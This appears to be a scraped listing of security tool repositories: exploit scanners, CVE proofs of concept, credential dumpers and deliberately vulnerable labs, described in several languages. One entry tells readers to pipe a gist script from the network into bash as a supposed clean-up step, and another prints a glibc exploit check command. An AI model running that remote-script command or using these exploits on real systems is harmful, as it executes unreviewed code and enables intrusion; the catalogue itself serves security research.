telnet_scan

Telnet 漏洞扫描器（CVE-2026-24061 与 CVE-2026-32746） 一款基于 Python 的安全评估工具，用于检测并（在适用时）利用 GNU InetUtils telnetd 中的两个严重漏洞： CVE-2026-24061 – 通过 USER 环境变量注入绕过认证（CVSS 9.8） CVE-2026-32746 – LINEMODE SLC 处理程序中的预认证缓冲区溢出（CVSS 9.8） 重要免责声明 本工具仅用于授权安全测试和教育目的。...

prowler

Prowler is the Open Cloud Security Platform trusted by thousands to automate security and compliance in any cloud environment. With thousands of ready-to-use checks and compliance frameworks, Prowler delivers real-time, customizable monitoring and seamless integrations, making cloud security...

cmdchamp

cmdchamp Bash CLI trainer — 30 levels from ls to privilege escalation. Every question asks you to type a real command — get instant feedback, move on. Miss one and it doesn't just show you the answer: it shows what YOUR command printed against what was wanted, and for a pipeline the line count at...

CVE-2026-59310

CVE-2026-59310 捐赠 通过 PayPal 或扫描下方二维码来支持本项目的维护。 ⚡ 简单用法 仅在安全且经授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验室环境 经授权的渗透测试环境 示例设置与用法： root@kitploit: Follow every dir project 注意： 从其他项目克隆时，你必须运行 curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y 以清除嵌套目录中...

raptor_infiltrate20

raptorinfiltrate20 “漏洞是迄今为止最大、最成功的一类实体。” -- 《动物生命百科全书》 本仓库包含我于 2021 年 1 月 26 日在 INFILTRATE20 上发表的演讲 《INFILTRATE 效应：6 个月中的 6 个漏洞》 的所有相关材料。 相关链接 https://hnsecurity.it/blog/the-infiltrate-effect-6-bugs-in-6-months/（博客） https://youtu.be/G8vhifVUmg4（视频） 资料包 安全公告 2019-02-solaris-xscreensaver。通过...

CVE-2026-20896

Laboratorio CVE-2026-20896 Este repositorio proporciona un laboratorio pequeño y autónomo para explorar el problema CVE-2026-20896 en un entorno controlado y autorizado. Descripción general El laboratorio incluye: poc.py: mi script de prueba de concepto personalizado que demuestra el problema y...

mimipenguin

MimiPenguin 2.0 A tool to dump the login password from the current linux desktop user. Adapted from the idea behind the popular Windows tool mimikatz. This was assigned CVE-2018-20781 https://vulners.com/cve/CVE-2018-20781. Fun fact it's still not fixed after GNOME Keyring 3.27.2 and still works ...

Out-FINcodedCommand

Out-FINcodedCommand v1.0 はじめに Out-FINcodedCommand は、PowerShell v2.0 以降に対応した PowerShell POC スクリプトであり、FIN 脅威アクターが使用するいくつかの難読化手法を強調するために設計されています。このツールで重点的に扱う難読化手法は以下の通りです。 1. cmd.exe の変数文字/文字列置換機能 2. cmd.exe および powershell.exe の標準入力からのコマンド呼び出し機能 3. 「cmd」と「powershell」を難読化するための環境変数部分文字列機能 インストール...

droidground

DroidGround 网站 | 演示 在传统的 CTF 挑战 中，通常会将 flag 隐藏在系统文件中，要求攻击者利用漏洞来获取它们。然而，在 Android 世界中，这种方法效果不佳。APK 文件易于下载和逆向，因此将 flag 放在设备上通常会使提取变得非常容易 ，只需使用静态分析或模拟器技巧即可。这严重限制了创建真实的、以运行时为核心的挑战的能力。 DroidGround 就是为了解决这个问题而设计的。 它是一个定制构建的平台，用于在受控 且真实 的环境中托管 Android 移动端黑客挑战，将攻击者约束到恰到好处的程度 ，迫使他们以预期的方式解决挑战。...

CVE-2023-32315

CVE-2023-32315 Openfire 的管理控制台（Admin Console）是一个基于 Web 的应用程序，被发现在 setup 环境中存在路径遍历漏洞。 这使得未认证用户可以利用已配置好的 Openfire 环境中的未认证 Openfire Setup Environment，访问本应仅供管理员使用的 Openfire Admin Console 中的受限页面，并可能导致远程代码执行 RCE。 截图 要求 Python3.7+ 支持的操作系统 Linux 用户 Windows 用户 开始使用 root@kitploit: $ git clone...

nuvola

nuvola nuvola with the lowercase n is a tool to dump and perform automatic and manual security analysis on AWS environments configurations and services using predefined, extensible and custom rules created using a simple Yaml syntax. The general idea behind this project is to create an abstracted...

fusee-toy

このリポジトリは、fusee-toyプロジェクトのソースコードを含んでいます。これはCVE-2018-6242（別名Fusée Gelée、別名shofel2）の私の基本的な実装です。2021年1月に、脆弱性に関する知識を深めるために書かれました。 この実装は、fusee-nano および fusee-launcher プロジェクトを参考にして構築されています。現代のLinux環境で動作するように作られています。...

Damn-Vulnerable-GraphQL-Application

Damn Vulnerable GraphQL Application Damn Vulnerable GraphQL Applicationは、FacebookのGraphQL技術を意図的に脆弱に実装したもので、GraphQLセキュリティを学び、実践するためのものです。 目次 DVGAについて 動作モード シナリオ 前提条件 インストール インストール - Docker インストール - Docker Registry インストール - サーバー スクリーンショット メンテナ コントリビューター メンション 免責事項 ライセンス DVGAについて Damn Vulnerable...

HTTPoxyScan

HTTPoxy Exploit Scanner by 1N3 @CrowdShield https://crowdshield.com Last Updated: 20160720 ABOUT: PoC/Exploit scanner to scan common CGI files on a target URL for the HTTPoxy vulnerability. Httpoxy is a set of vulnerabilities that affect application code running in CGI, or CGI-like environments...

looney-tunables-CVE-2023-4911

CVE-2023-4911 Looney Tunables 的 PoC 这是一个 CVE-2023-4911（又名 "Looney Tunables"）的 PoC，利用 glibc 动态加载器中 GLIBCTUNABLES 环境变量解析函数 parsetunables 的漏洞。 开始使用 执行程序 我们可以检查目标是否易受攻击 root@kitploit: env -i "GLIBCTUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=printf '%08192x' 1" /usr/bin/su --help 如果我们收到...

EntraGoat

EntraGoat - A Deliberately Vulnerable Entra ID Environment EntraGoat is a deliberately vulnerable Microsoft Entra ID infrastructure for security professionals. Deploy real-world identity misconfigurations and privilege escalation paths in your own tenant, then practice exploiting them in a safe,...

Exegol

Exegol は、攻撃セキュリティの専門家がコミュニティと共に、ハッカー仲間のために設計した包括的なサイバーセキュリティ環境です。従来のセキュリティディストリビューションが抱える共通の課題を解決し、現場で使えるモジュール式で信頼性の高いツールキットを提供します。 プロジェクトについてもっと知りたいですか？ exegol.com へ はじめに Exegol のインストール方法: exegol.com/install 公式プロジェクトドキュメントでは、Exegol の構造について詳しく説明しています。docs.exegol.com をご覧ください。...

forensictools

forensictoolsは、デジタルフォレンジック向けに設計されたツールキットで、幅広いツールを提供します。その主な目的は、フォレンジック調査を実施するための仮想環境の作成を簡素化することです。 ツールのインストールに加えて、forensictoolsはプログラムをWindows PATHにシームレスに統合します。この統合により、手動でセットアップや設定を行う必要なく、これらのツールをコマンドラインから直接簡単に利用できます。 全ツールのリストはこちらにあります。 ダウンロードと使用方法...

CVE-2024-48990-Automatic-Exploit

CVE-2024-48990 PYTHONPATH 劫持 - 权限提升漏洞利用工具 本工具可自动利用 needrestart 3.7 版本中的一个权限提升漏洞，该漏洞编号为 CVE-2024-48990 。 它通过利用 needrestart 扫描 Python 进程时对 PYTHONPATH 环境变量的不安全使用，实现 root 权限执行。 摘要 该漏洞利用工具的工作原理如下： 1. 编译一个恶意共享对象（init.so），该对象会在导入时被触发。 2. 通过本地 HTTP 服务器提供该 .so 文件。 3. 通过 SSH 连接到目标主机，并准备一个恶意的 PYTHONPATH 环境。...

CVE-2023-32315

CVE-2023-32315 - Vulnerabilidad de Path Traversal en Ignite Realtime Openfire ⚠️ Solo para fines educativos y de investigación de seguridad autorizada Autores originales del exploit Muy agradecidos al autor original del PoC phith0n y a K3ysTr0K3R Descripción Openfire es un servidor XMPP bajo la...